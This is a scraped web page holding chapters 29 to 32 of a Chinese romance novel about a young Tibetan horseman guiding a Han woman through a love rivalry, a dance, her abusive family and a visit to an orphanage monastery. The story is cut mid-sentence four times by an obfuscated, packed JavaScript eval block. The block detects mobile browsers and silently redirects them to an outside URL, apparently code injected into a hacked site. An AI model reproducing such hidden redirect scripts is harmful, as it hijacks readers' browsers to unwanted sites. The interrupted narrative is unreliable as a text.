;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716011|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....就这两天吧。我过去给你电话。” 次仁不知道这些天发生的事情,他不知道姐姐晕倒的事,也不知道甲尕死亡的事,更不知道他的小黑已经不是他的小黑了。 “好。” 次仁还是没有拿走那双鞋。白玛无奈的看着鞋盒子,想着什么时候还要叫曲珍来取一趟,或者去县上的时候,给她带过去。 真是麻烦。 白玛想着:要不,还是去次仁家马场的时候,叫曲珍自己来取吧,两个人当面把事情讲清楚也好。他在中间也省事了。 - 白玛跟次仁约好时间,又把时间告诉了曲珍,然后自己去接上苏曼。 “姐姐,今天曲珍也来。她给次仁买了双鞋子,叫我送,次仁不要,我叫她自己来取。” 苏曼拨了拨头发,一脸惊讶:“啊!那岂不是......” 修罗场。 白玛坏笑:“我才不管呢。他们的事情他们自己搞嘛。” 次仁的马场离县城很近,几分钟就到了。 基本算是在一栋房子后面,圈了一片大大的草原。然后围着一圈建了马房,中间是一个大大的空间,是完全可以用来训马的空间。 要说,应该有三、四个篮球场那么大吧。马儿就围着圈不停的跑就是了。 这真是个好地方。 “次仁,你家一百多匹马能放的下吗?”白玛一边参观,一边好奇的问。 “放不下,还有一部分马也是赶到山上去放养的。” 啧啧。苏曼可算是见识了养马大户了。白玛那前后两个院子,跟这个比起来,那太小巫见大巫了。 “每年能生好多匹马嘛?” 白玛想了解一下他们每年的产出。即“收成。” “十几匹,二三十匹,都有,看母马的状况嘛,有时候配种失败的也有。还有些生下来没活成的也有。” 啧啧。苏曼又在心里算了算,一匹马按最便宜的五千块钱算的话,光新生的小马,也是每年稳定的十来万收入了。 这跟坐地收租有什么区别。何况小马若是不着急卖,多养两年就不是这个价格了。 啊,草原上的人怎么又穷又富的。看上去那么穷,实际上那么富。 苏曼一直不停的感叹着。又问道:“白玛,那你们这边养马赚钱还是养牛赚钱啊?” 苏曼心里总是想着赚钱。 白玛看着苏曼,撇着嘴忍住笑:“姐姐,怎么?你要养马啊?还是养牛啊?” 苏曼拍了一下白玛的胳膊:“你别笑我,我就是好奇嘛。” 苏曼和白玛的心情都好了一些,似乎甲尕的阴霾在慢慢消散。 “我们这边牧区嘛,主要就是养马、养牛了,这边养羊的比较少。但是要说养马赚钱还是养牛赚钱,那肯定是养牛赚钱嘛,因为牛不需要管啊,你就每天赶到山上去吃草就好了啊。牛养几百头都没事,马的话你就搞不了那么多嘛!” 次仁帮白玛回答了这个问题。 白玛家没有牛,偶尔卖马的时候别人给部分现金再加几头牛,他都是直接拉到大舅舅家的牛群里去一起养,然后有机会的话再卖掉它。 而次仁家就不同了,他家既是养马大户,又是养牛大户。真真高原大财主。 苏曼在想,这个次仁家,祖上该不是什么土司贵族吧,传下了这许多的产业。 29. 第29章 等白玛和苏曼参观完马场,曲珍还没有来,白玛和次仁便开始骑马了。 这曲珍,该不是还在想挽回自己的一些面子吧。没想到她竟然还会迟到。 等她到的时候,白玛和次仁已经骑的满头大汗了,苏曼坐在帐篷下,喝着饮料躲着太阳。 “曲珍,你怎么现在才来啊。他们都快骑完了。” 苏曼现在没那么惧怕曲珍了,可能是因为有白玛在,他就是她的一个非常好的挡箭牌。 白玛朝这边招了招手,准备把马牵回马厩,次仁磨磨蹭蹭的,走到另一边去洗手。 那双鞋子就放在桌子上。 曲珍看了一眼,也没说什么,她想苏曼应该也知道了那是她送给次仁的吧,白玛肯定会告诉她,这也没什么不好。 曲珍摘下手套,她的手和次仁一样修长,一样的白。果然都是富人家的孩子。 “姐姐,你这几天都跟白玛在一起吗?” 苏曼抬起头,有些愕然,瞬间就明白了曲珍的意图,回答道: “对啊,他是我的向导嘛。该玩的地方也都玩过了,也没啥事做,他就都带着我。” 曲珍放下心来。 次仁洗完手走了过来:“聊什么呢?” “没什么。我去看看白玛。”苏曼赶忙起身,找了个借口走开。 次仁看了一眼苏曼,她去了马厩那边找白玛。 “鞋子你拿回去吧。我不喜欢穿这个。” 次仁还是没有把话说太狠,可能今天白玛和苏曼在,他也给曲珍留些面子。 “那你喜欢什么样的嘛。我拿去换。” 曲珍坐在那里,仰着头看着次仁。 次仁的汗水浸湿了长发,贴在脸上,他伸手将头发掖到了耳后,露出了漂亮的额头。 “我不用嘛。我们两个不合适,你不要再这样了。” 一次又一次的拒绝,都是同样的话。 曲珍委屈极了,县上那么多帅哥,真的就是唯独对次仁喜欢的紧。 “我阿爸说了,结婚的话会给我带五十头牛过来。我们两个日子会过的好的。我的车子和金项链都带过来。我们两个在县上过起嘛。” 曲珍自己住在县上,但是她的家人还在撒尼乡,因为要放牧的缘故。 她若是和次仁在县上组上小家庭,再加上次仁带过来的牛马,那肯定是日子过的很好的。 他们两个真的是很配啊,门当户对,金童玉女。 可偏偏次仁是个怪咖,他想走的路终究和别人不一样,或许他的身体里有一些艺术家的细胞,总要做一些和别人不一样的事情来。 循规蹈矩的日子,并不是他想要的。 “你扯远咯。鞋子你拿走。我先过去了。” 次仁把曲珍又扔在了原地。曲珍今天来,真的就是如白玛计划的那样,过来把鞋子拿走。 没过一会儿,曲珍就发了一条朋友圈:“今天的我你爱搭不理,将来的我你高攀不起。” 然后下方是一排一排的二十岁左右的巴龙青年的点赞。 曲珍只要勾勾手,就会有大把的青年排队等着她青睐,这样骄傲的一朵高原之花,正因为她的骄傲,所以她才会去攀登最难的那座山——次仁的这座山。 白玛和苏曼躲在不远处,看着曲珍抱着鞋盒子,迈着骄傲的步伐走出马场。 “姐姐,喜欢一个人,那个人却不喜欢你,是什么感觉啊?” 苏曼皱起眉头,看着白玛:“你小子,终于想谈恋爱了?” “没有没有,就是好奇。” 白玛,还没有吃过爱情的苦。 “你去问次仁嘛。他喜欢的那个女孩不是不要他了嘛。” “那我可不敢。我知道了,心里肯定是难受的,只是怎么个难受法,我还不知道。” “嗯,以后你肯定会知道的。哈哈。” 白玛和苏曼走了过来。 “曲珍走了?” “走了。” “哎哟,次仁,她这样被人拒绝应该很难受吧?”白玛试探的问道, “你试试不就知道了。”次仁看了一眼苏曼。 苏曼眼神忽的闪躲,这个次仁,不会又要说些什么吧。 “我又没有喜欢的人,我咋试。”白玛声音低了不少,不似刚才那么幸灾乐祸。 次仁轻轻的笑了一下,道:“晚上我请你们吃饭吧。然后我们去跳锅庄舞。” 白玛的眼睛都亮了,次仁说去跳锅庄舞?!这可真是个大新闻。 忽地他又警觉了起来:不会是因为姐姐吧?不会是还要追姐姐吧?白玛的脸又逐渐沉了下来。 他希望苏曼拒绝,可偏偏苏曼什么也没想,只是说了“好”。 毕竟今天在次仁家马场玩了一天了,一起吃个饭也很正常,至于跳舞嘛,就当是过去广场上消食了。 有白玛在,她觉得还好,次仁应该不会做什么、说什么。 晚餐次仁请白玛和苏曼吃了本地菜。 烤羊排,土豆炖牛肉,都是这边的特色菜,还有烤香菇,香菇上面洒上了一层糌粑青稞粉。 苏曼最喜欢吃的,还是这边的风味酸奶。 吃饱喝足的三个人去了锅庄舞广场。白玛有一种特别奇怪的感觉,这可跟上次他和苏曼去的那次不一样。 今天可是多了一个次仁,一个从不会去这种地方的次仁。 可能也是因为,给苏曼做向导这件事,多了一个人,一个不收费的人。 次仁漫不经心的站在广场边上,陪着白玛和苏曼,似乎他才是他们两个人的向导。 白玛和苏曼嘀嘀咕咕的,次仁歪头看了他们俩一眼。 “我们去跳舞吧?”白玛跟苏曼说道, “好呀。”既然来了。何况上次也跳过一次了。 白玛拉着她的手,走向了转圈跳锅庄舞的人群,找了个空位插了进去。 不一会儿次仁也接过了苏曼的手,插了进来。 苏曼的左边是白玛,右边是次仁。她一个小小的汉族姑娘,被两个高高的异域男子夹在了中间。 这可真是有些尴尬。 苏曼左张右望,生怕碰到什么熟人。不,她的熟人只有曲珍和德西。 白玛低着头又在一步一步的教苏曼,苏曼咧着嘴,还是跳的乱七八糟。 次仁没怎么跳,他只是身子随着节奏在走,似乎他像是被谁逼着进来的一样。 不过,他终于拉到了苏曼的手。他的脸上没有表情,甚至都没有去看白玛和苏曼跳的是多么的欢快。 苏曼把手挣开,张开手心给白玛看:“你看,都是汗!” 白玛挺过胸膛:“那你擦我身上嘛。” 苏曼转过头,在自己的裤腿上擦了擦,抿着唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722322|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续牵起白玛的手。 两个人又乐此不疲的跳了起来。 忽然有人从他们身后也加入了进来,牵起了白玛的手。 白玛没当回事,只是随意的回头看了一眼。 竟然是德西! 苏曼却因为隔着白玛,没有发现德西的加入。 白玛变得局促了起来,想走又不敢走,毕竟次仁也在。 德西趁着大家跳探下身子踢腿动作的时候,望向了苏曼。 苏曼也看到了她。 她向她挑衅着。 夹在中间的白玛,看到这一幕,当机立断的拉着苏曼的手就走。 次仁被拽歪了身子,转头一看,才发现旁边的德西。于是也停了下来离开。 只留下德西,在生气的看着。 德西爸爸说他也管不了了,白玛妈妈都不管,他也没法管。娃娃们的事情娃娃自己去解决吧。 德西有时候会用阿爸的微信跟白玛聊上几句,不咸不淡的家长里短。 你家马怎么样了?你妈妈在家不?今天去不去县上?帮我带点东西回来。类似于这些。 有时候也会假装用阿爸的口吻,打趣的问上一句:“你今天准备带汉族女孩去哪里玩。” 白玛一直牵着苏曼的手,拉着她往外面走,直到走到了马路边,次仁跟在后面喊: “去哪?可以啦!” 一个德西,就把白玛吓成这样。次仁有些不屑,但也深表同情,毕竟他的曲珍比德西更主动,更强势。 次仁走过来,白玛赶紧放开苏曼的手,自己也在裤腿上擦了擦满手的汗。 “兄弟,我们两个同命相连啊!你现在也别笑我什么曲珍了。” 次仁笑着摸着下巴,幸灾乐祸。 “很正常的嘛。有人追说明我也不差嘛。没什么的。” 白玛说这话,其实是在安慰苏曼,生怕她因为德西又联想到了自己,又产生什么抗拒、退缩、抵触心理。 小心翼翼的呵护着苏曼的心理情绪,是白玛在苏曼出院后自然触发的技能。 “姐姐,你可别被他们吓到了哈,我们高原上的女人都是这样的,比较主动,性格比较强,但是呢,她们也还是很善良的。” 白玛望着身旁缩着肩的苏曼,给她一个鼓励。 “啊,知道了。那你们男的厉害,还是女的厉害嘛?”苏曼故意开个玩笑,叫白玛放心。 “那肯定还是男的厉害撒!我们男的要赚钱,要养家,还要管外面的事,要打架的时候那还是男的上嘛。” 听到打架,苏曼又张大了嘴,皱起眉头看着白玛。 次仁抬了抬眉:“你别听他瞎说,现在打架的不多了。以前很多,还动刀子呢。现在刀子都上缴了,没有人敢乱来。” 苏曼舔了舔唇,半信半疑。 婚礼上那长刀横跨,威风凛凛,不容侵犯的样子,她还记得很清楚。 英雄主义的草原,雄性崇拜的草原,打架是常事,也不出为奇。 “姐姐,我送你回去吧。” 白玛拉过苏曼,跟次仁示意分手。次仁仰了仰头,也转身向另一个方向走去。 白玛没有邀请次仁一起送苏曼回去。 次仁觉得,苏曼身上那些他看不懂的行为和情绪,白玛却都懂。 德西结束了他们的锅庄舞,但没有结束这个夏天。 30. 第30章 晚风正好,也没有很凉,苏曼的手机难得的响起。 长假期间,公司承诺不会给她打工作电话骚扰,何况还是夜晚。 苏曼掏出手机,站在夜色中,屏幕荧白色的光亮照在她的脸上,她呆滞的看着屏幕,深呼一口气,接了起来。 “喂,妈妈。” “你在哪里?你不在永京吗?我过来找你好几次了,你家都没有人。” 苏曼家是永京隔壁的一个省会城市,再下面下面下面的一个小县城,贫困县城。 在家暴最严重的那一年多之后,父亲终于扔下她们母女俩和新人走了。 原以为离婚是母亲的解脱,谁知却是苏曼噩梦的开始。 母亲将自己的怨恨撒到了苏曼的身上,恨她为什么不是个男孩,恨她为什么不能让父亲光宗耀祖,恨她父亲因为苏曼而不爱她的拳脚相加。 这些恨,都由母亲转移到了她的身上。 童年的精神虐待和身体虐待,让她迫切的想长大,想逃离那个小地方,想证明自己虽然是个女孩,但是也不差。 再后来母亲重新又组建了家庭,并终于生了一个儿子,她的婚姻生活开始幸福,夹在中间无人问津的苏曼觉得这已经是老天最好的赏赐。 她以为这一切会结束,但,亲情没有结束,它就像噩梦一样继续缠绕着她。 “我出差了。没那么快回来。”苏曼弱弱的回答, “出什么差!我来好几次了,你都不在,哪有出差这么久的!” “是......这次出差时间比较长......” “我跟你说,你那里有没有五十万?你叔叔的儿子都买房子了,你弟弟也得买一套,以后更贵了买不起啦!我跟你叔也没钱......” “妈,我没有。上次那五十万不是都给你了嘛......” 苏曼有,但是她不想再给了。 之前叔叔要做生意,找苏曼借钱,张口就是五十万,没半年说亏光了。 虽然没有证据,但是苏曼还是怀疑,这钱是贴补到他前妻那边的儿子去了,只有傻傻的母亲才会相信他的谎言。 她的一切寄托都在这个男人身上,无论做什么,她都心甘情愿,哪怕是被骗,她甚至可能都会是那个帮凶。 即便,她才是她的亲生女儿。 当然,她现在还有一个亲生儿子。 三十七岁的高龄,也要拼一个儿子,来证明她能生的出儿子这件事。 她真的好羡慕高原,这里男女平等,女儿也可以坐家,继承家里所有的财产,像儿子一样平等的享有承担家族的责任和权力。 而不是一味的付出,和长大后的被索取。却什么都得不到。甚至还是家族的羞耻。 电话里母亲的声音吼来,职场上从未流过泪的苏曼,却总是会被母亲随意的一句话弄哭。 “什么没有!你今年的奖金呢?你住那么大个房子做什么?你卖了换个小点的嘛,你自己又不结婚,要那么大房子干嘛!你弟弟还要结婚呢!你不能只顾着你自己潇洒啊!他也是你亲弟弟啊!” 苏曼咬着下唇,努力的忍住眼泪不掉下来。 白玛缰在一旁,一动也不敢动。 打电话的人是姐姐的妈妈吗?姐姐为什么哭?是她妈妈生病了吗?又要五十万...... 苏曼对着电话只轻声“哦”了一句,挂了电话就那么怔怔的站着,眼泪一股一股的往下流。 直到最后失声痛哭,哭到浑身颤抖。 白玛向前凑了凑近,生怕她再一次晕倒。 苏曼将头顶在白玛的胸前,身子抽噎的剧烈抖动,她需要一个支撑。 白玛默默的站着,最后还是无意识的伸出了手,将苏曼抱进了怀里。 他的心脏剧烈的跳动着,扑通扑通的,他紧张的又害怕这种“扑通扑通”会震到苏曼。 还好苏曼没有察觉,只是哭的更凶了。 甚至放声大哭了起来,上气开始不接下气,仰着头张口喘气,下巴枕在白玛的肩上。 白玛的手松了松,又紧了紧。他怕把她抱的太紧无法呼吸,却又心疼的想再次抱紧。 直到苏曼声音停止,转为轻声抽噎,和不停的吸着鼻子。 白玛一只手环抱,另一只手赶忙从裤兜里掏出纸巾,按在了苏曼的鼻子上。 “擤一下。” 苏曼伸出一只手,接过纸巾,大大的擤了起来。 擤完鼻涕,苏曼又在白玛的怀里靠了一会儿,才挣开身子。 可能是哭完停下来的苏曼,听清了白玛的心跳声。 “好了,我没事了。” 白玛低着头看着苏曼,苏曼埋着头,似是在收复千丝万缕的情绪。 “姐姐,是你妈妈生病了吗?”白玛小心翼翼的问道, “没有......” 苏曼别过脸望着马路那边,路灯安静的立在夜空之下,给黑夜的行人开辟出了一段又一段的天地。萤萤夜光在风和土的交伴下,能看见丝丝流动。 苏曼抿着唇,看了一眼白玛:“走吧。” 白玛的眼睛依然那么好看,黑豆豆一样,稳如大地,又深如大海,柔和的不像样子。 他跟着苏曼,并肩走在这条不长的街道上。 318国道听着是个寂寞的公路,但实际上两边却围簇了这么多的建筑物,有饭馆,有酒店,有朗玛厅,还有那么多好看的路灯。 人们聚集在这个一点也不冰冷的高原,幸福的过着他们从未觉得艰苦的日子。 “姐姐,你妈妈是缺钱了吗?”白玛还是忍不住想问。 “不是。她......” 苏曼又深深的吸了一口气,似乎刚才的哭泣让她的大脑有些缺氧,又或是说起这个话题她需要鼓起勇气。 “她,只是不爱我......我父亲也是。” “怎么可能有父母不爱孩子的呢。” 白玛不能理解,他的心还是跳的很快,但是比刚才要好了许多。 “有的,这个世界上,什么样的人都有。坏的父母,坏的孩子。都有。” “嗯。我们这边坏的孩子有,但是坏的父母好像没怎么见过。” 坏的父母。如果苏曼是个男孩子,是不是坏的父母,也会变成好的父母。 “嗯......我们那边主要是重男轻女比较严重,就是父母都喜欢儿子,不喜欢女儿。然后,因为我是女孩子嘛......” 白玛皱紧了眉头: “怎么会?我们这边父母都喜欢女儿,因为女儿听话嘛,乖嘛。我们这些男孩子太野了,管都管不住,所以经常要挨打才行的。家长都是直接让老师来管,甚至求着老师打自己的孩子,因为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726322|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打的话,孩子真的会野到做出很大的坏事来的。” 草原上的狼,不管教的话,天都要给你掀翻了。 苏曼听了吸着鼻子笑了起来:“啊?你们这边男孩子这么难管的啊?” “哎哟!你是不知道,我读书的时候,老师拿那么粗的棍子打我,棍子都打断了,妈妈不管的!还说打的好!就该打!” 白玛说起自己的小学生涯,两眼放光,眼眉弯弯,心跳也慢慢的平复了下来。 “哈哈!你是做什么错事了?要挨这么大的打。”苏曼又被白玛逗笑了, “也没有嘛,我就是不好好上课,偷跑出去骑马嘛,还有就是偷偷在学校里卖辣条嘛。我从外面一块钱买的,在学校里卖三块,哎呀卖五块钱都有人买的!因为学校里没有小卖部嘛,小孩子又馋的很,我就偷偷带进学校里去卖嘛。” “哎哟,你年纪小小,就那么有生意头脑了呀!你可以啊白玛!果然是个做生意的料。” 白玛歪着头看着苏曼笑着,被夸的高兴的点起了一根烟,娴熟的吐了出去,一只手插在裤兜里,看着地面上路灯旁两个人的影子。 他想到刚才的苏曼那么伤心,现在又被他逗回了开心,心里很是满足。 “姐姐,你这么聪明,应该也很厉害的吧!” 苏曼想了想,她应该算是吧。 从小到大学习没有被家人操心过,除了念书的时候经济困难一些,但是工作后,一切都改变了,通过自己的努力改变了。 “我还可以吧,比较听话,读书也不错,工作也不错。嗯。挺好的。但是做生意应该没有你厉害,我小学的时候还什么都不懂呢!” 苏曼又一次由衷的赞叹着白玛,或许他天生适合做生意,又或许是生活的困苦让他早熟,早早的就在琢磨怎么赚钱贴补家里。 “那可不是呀!姐姐,你可是在永京的人啊!我们这个小地方,哪能跟姐姐比。” “但是白玛,你也已经很优秀的了。真的。” 苏曼给了白玛一个肯定的眼神。 白玛抿了抿唇,他也在努力的过每一天,他希望姐姐也是。 “姐姐,你也要加油。爸爸妈妈只是你这一世的缘分,如果是坏的缘分,那就看着它,面对它,因为不管好的坏的,都是你该得的嘛。或许上一世,是你欠了他们的呢,这一世还完了,就好了。千万不要伤心。知道吗?” 白玛又给苏曼讲了一些她听懂了,但是以前从来没有听过的道理。 不,她听过,但是她从来没有应用到自己身上来,调整自己的身心。 而在这神秘的高原,从一个十九岁的男孩子口中说出,就真的是说进了她的心里。 她认真的理解了这段话的含义,并且认为,白玛说的都是对的。 “嗯。白玛,你说的很对。面对它,正视它,接受它。” “最后还要放下它。”白玛像一个智慧的老者,用他们从出生就知道的道理,教育着在大城市里披荆斩棘的苏曼。 “好的。谢谢你,白玛。” 白玛的怀抱给了她依靠,白玛的语言给了她力量。 而苏曼,在今夜,却结结实实的给了白玛一个大大的震动,是她的经历,又或是她伤心的眼泪。 总之,今夜,白玛注定难以入眠。 这是他第一次抱一个女孩子。 31. 第31章 姐姐,在白玛心里错了乱。她既像是姐姐,又不像是。 他怎么也忘不了自己跳的狂乱,而又不受控制的心脏,在他抱着姐姐的那些时刻。 高原的太阳在每一天都会照常升起,它从早照到晚,也会中途遭遇暴风骤雨的侵袭,但总归还是会照常升起。 如一个坚定的永恒,不会被任何风雨打败。 白玛想了一夜,如何让姐姐接受自己的身世与遭遇,如何让她如太阳般不被万物浇灭,只会照亮别人照亮自己。 他决定带苏曼去隔壁县的一家寺院看看,说是寺院,其实又不是,更像是一家孤儿院。 善良的人做着伟大的事。 苦难的命运,也并没有灼伤这些孤儿的心灵。白玛想,或许这些可以给苏曼一些力量。 从一个县到另一个县,来回需要一天的时间。正好,带姐姐离开巴龙县,去周边县城走走,也不枉她千里迢迢来高原一趟。 白玛神神秘秘,并没有具体说去哪里,苏曼挺喜欢这种未知,愉快的未知,而不是未知的未知。 “白玛,你今天心情好好好哦。” 经过了昨晚,白玛觉得他对姐姐又了解了更多,这让他感到高兴。 他不敢去想那个心脏乱跳的拥抱。 “今天天气好嘛!你看,今天肯定一整天都是太阳。” 如果中途暴雨,那也肯定是因为天空怕大地晒的太热。这就是白玛的思维。 苏曼也放开了许多,她的秘密在白玛这里,也七七八八的都坦露了出来。心里的那块隐形的石头,放在白玛的面前,白玛却告诉她:要无视它。 看着路示牌,他们已经使出了巴龙县,奔着一个叫禾洼镇的地方开去。 “禾洼镇?这里有什么呀?”苏曼逐渐好奇, “去了你就知道了。”白玛依旧保持神秘。 主要是他也不知道怎么跟苏曼说,说是寺院吧,它又不完全是,说是孤儿院吧,又有些奇怪。 毕竟姐姐对孩子不感兴趣,也不想生孩子,更没有领养孩子的意愿。 所以,干脆就不解释了。去了该怎样就怎样吧。 进了禾洼镇,又开了一段山路,车子蜿进了一个小山洼前。 一座不大的寺庙模样的建筑物,倚靠在后面的矮山前。门前一片空地,晒了一些青稞。 “这是什么地方呀?”苏曼又问道, “嗯......这里有一个人,很厉害的人,我们来看看他。” 白玛说的这个人,正是这个寺庙的主人,或者说是主持者,他建造了这座寺庙,并在这里养育了一百多个孤儿。 “这是寺庙吗?” “算是吧。” 白玛和苏曼下了车,一个带着敬仰,一个带着疑问,走进了这座小小的寺庙。 一位年轻的出家人双手合十迎了出来,披着神圣的紫红色僧衣,他有一口洁白整齐的牙齿,和温暖明媚的面容,他笑着对白玛道: “路上好走不?今天天气不错的。” “好走好走,很顺利的。”白玛也双手合十。 苏曼也跟着双手合十。 上次去科尔寺参加燃灯节,白玛却没有像今天这样。这个僧人,一定就是白玛说的那个“很厉害的人。” 跟着师父进了寺院,先是被带到了一个像教室一样的课堂里,里面大约有五十多个孩子在上课。 他们都披着神圣的紫红色僧衣。 “这就是我们的孩子在这里上课的地方。” “都是出家人?” 苏曼小声的惊奇的问白玛。这么小的孩子就出家了? “对。他们都是孤儿。都是师父收养的。” “孤儿?”苏曼大受震惊。 白玛笑了笑,带着苏曼继续参观,他们一起去了膳堂,一起去了他们活动的后院,还有一个小小的篮球场。 有几个穿着山寨球鞋,穿着紫红色背心的小孩在打着篮球。 他们很快乐呀。 师父笑着对苏曼说:“他们都是各种原因父母没法养的孩子,我都叫他们送到这里来,不收一分钱,不用他们养。但是一定不要堕胎,不要杀掉他们。他们都是一个生命,原本就该来到这个世界上的。” 苏曼的鼻子开始发酸,师父说的真好,每个生命,都是该来到这个世界上的。 “我收养了他们,教他们读书、念经、学道理,让他们快乐的长大。他们没有爸爸妈妈,也一样可以活着,一样可以活的比别人快乐。如果他们长大了,父母有能力了,有意愿了,想要接回他们,他们可以随时穿裤子(还俗)回家。” 真是太伟大了。他拯救了这些人的生命,还拯救了这些人的灵魂。 而苏曼的灵魂却被埋葬蹂躏了这么多年。 苏曼望着白玛,明白了他的良苦用心,这真是一个好白玛。他十九岁的年纪,却藏着百岁千岁的智慧与人性的光。 他用这些智慧与光,照亮着苏曼,带她走进自己未曾走进过的领域,带她看清这个世界与生命的真相。 苏曼深深感激的望着白玛,白玛依然清澈的眼睛里,从来没有一丝的疑惑和迷茫。 他坚强的活着,热爱着这个世界,热爱着自己的妈妈和弟弟妹妹,也同样热爱着陌生的她。 “白玛,你们太伟大了。”苏曼发出感慨。 白玛摸不着头脑:“什么啊,不是我,是师父伟大。师父做的事情太伟大了,我就是带你来看看。” 好好生活,是白玛对苏曼的祈望。 师父笑了笑:“这也算不上什么伟大,就是尽自己的能力帮助别人,能帮多少就帮多少,帮不了的,那也没有办法了。我能力不够嘛。” 说着师父又跟他们讲起了他的难处。 想要送过来的孩子实在太多了,不负责任的父母也太多了,而且很多都是汉地那边老远通过网络联系过来的。 后来他实在是承担不了,只好将网上发布的可以收孩子的消息删掉,他也为此感到十分的遗憾,遗憾自己的能力有限。 但是,做自己力所能及的事情,就问心无愧了。天大地大,并不是所有的事情都会完美,接受不完美,也是一种完美。 来这一趟,苏曼触碰到了许多未曾触碰过的心灵,她需要接受自己身世的不完美,家庭的不完美,父母的不完美。 然后自己去做自己力所能及的事情,做不到,不需勉强,只需问心无愧。 她的母亲,对她的勉强,她无需再用眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729388|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪和委屈去面对,而是坦然的面对自己的身心。 她的良心教她做了一个合格的母亲的女儿,顺从了母亲,但是她自己的灵魂,也需要呵护。 爱,不是一味的懦弱和妥协,爱也需要浇灌,给自己浇灌。 苏曼,开始与自己和解。 如白玛所愿:不要再为难自己。 回程的路上,苏曼好像长大了许多,成熟了许多,似乎要追赶上了白玛了。 “白玛,我发现你是个智慧的人。” 苏曼又换了一个更高级的词来夸白玛,搞的白玛更加一头雾水的不好意思了。 “姐姐,哪有。师父他们才是真正的大智慧呢。我啥都不懂的。” “不,你懂,你妈妈也很懂。” 苏曼想到了白玛妈妈,没有读过书,不识字,也不会讲汉话,但是在生活的点点滴滴中教育,全是小事中能见到的大道理。 白玛的智慧,也许都是他的母亲从小耳濡目染的传递给他的。 白玛朝窗外吹了一口烟,他对今天的安排很满意,心情如云般轻柔。也许苏曼摆在他面前的那块石头,他已经帮她搬走了。 “姐姐,你知道吗,我们这边的小孩其实都不怎么管的,都是让他们自己长大,不会管太多的,但是做坏事就不行,其他事情,是不怎么管的。” 任由他自由的长大。想骑马就骑马,想谈恋爱就谈恋爱,想结婚就结婚,他们的约束只来自于自己,不会来自于父母。 这与汉地有极大的不同,汉地的父母,因为对孩子抱有极大的期望,所以才会有各种管束或者各种安排,这种期望与安排本身就是一种束缚。 不望子成龙的父母,才是好父母。 而高原上的父母,不会望子成龙,他们只希望自己的孩子快乐的长大。不在乎你赚多少钱,只要活着、健康、快乐,就好。 “做坏事是什么坏事啊?” 苏曼想知道他们的线在哪里。 “哎呀,就是昨晚我跟你说的嘛,什么打架啦,偷东西啦,骗人啦,不好好读书啦,这些都是坏事嘛。” 也就是说,他们更注重“思想品德教育”,而不是更注重“成功教育”。 并且,汉地对子女的“溺爱”会把“思想品德”歪掉。 而高原对子女的溺爱仅仅是体现在“好好活着”上,但是“好好做人”若是歪掉了的话,那也是会被狠狠的棍棒伺候的。 “白玛,那你们高原上是不是就没有坏人了呀?就没有人会偷东西,没有人会骗人,都是好人吗?” “哎哎哎!那可不是的!姐姐,你可千万不要这么想,哪里都有坏人做坏事的。我们这边偷牛的也很多呢!偷手机的,骗人的也大把的。啊,今天嘴里念着经,明天就骗你的也有!你可不要随便的就相信哦!哪里都有好人坏人的。天天发誓的也都有的。哎哟,发誓哦,那就是张两下嘴的事嘛。” “哈哈!”苏曼看白玛一本正经的教育了起来,生怕她单纯的相信了高原上的每一个人都是好人,然后单纯的被骗了去。 “好的好的。我现在知道了。哈哈。” 白玛从天上又回到了地面,又变回了那个可爱的白玛,说着高原普,一脸黝黑,操心着俗世的真假。 32. 第32章 今年白玛把家里的后院扩大了一块,马房也多增加了几间。 住在后边的洛绒表哥,也说要扩院子,但是他画下的线,却压到了草地上浅浅的路印。 这条路印是其他人走出来的,并不是白玛妈妈每天去大舅舅家的路。但是白玛妈妈却很不高兴,说他这么做的话,许多人走路就要绕远了。 于是,她去找了洛绒表哥。 “姑姑,你莫管啦,又不影响你,你们家院子都那么大了,我们家还没有围院子呢。” 洛绒表哥跟洛绒表嫂结婚后没有自己的房子,住了许多年的马房。 现在终于有了自己的房子,虽然是八万块钱买的别人的旧房子,但是他们也想用后面日子好起来后挣的钱,好好拾掇一番自己的家。 建院子,就是表嫂想做的第一件事。 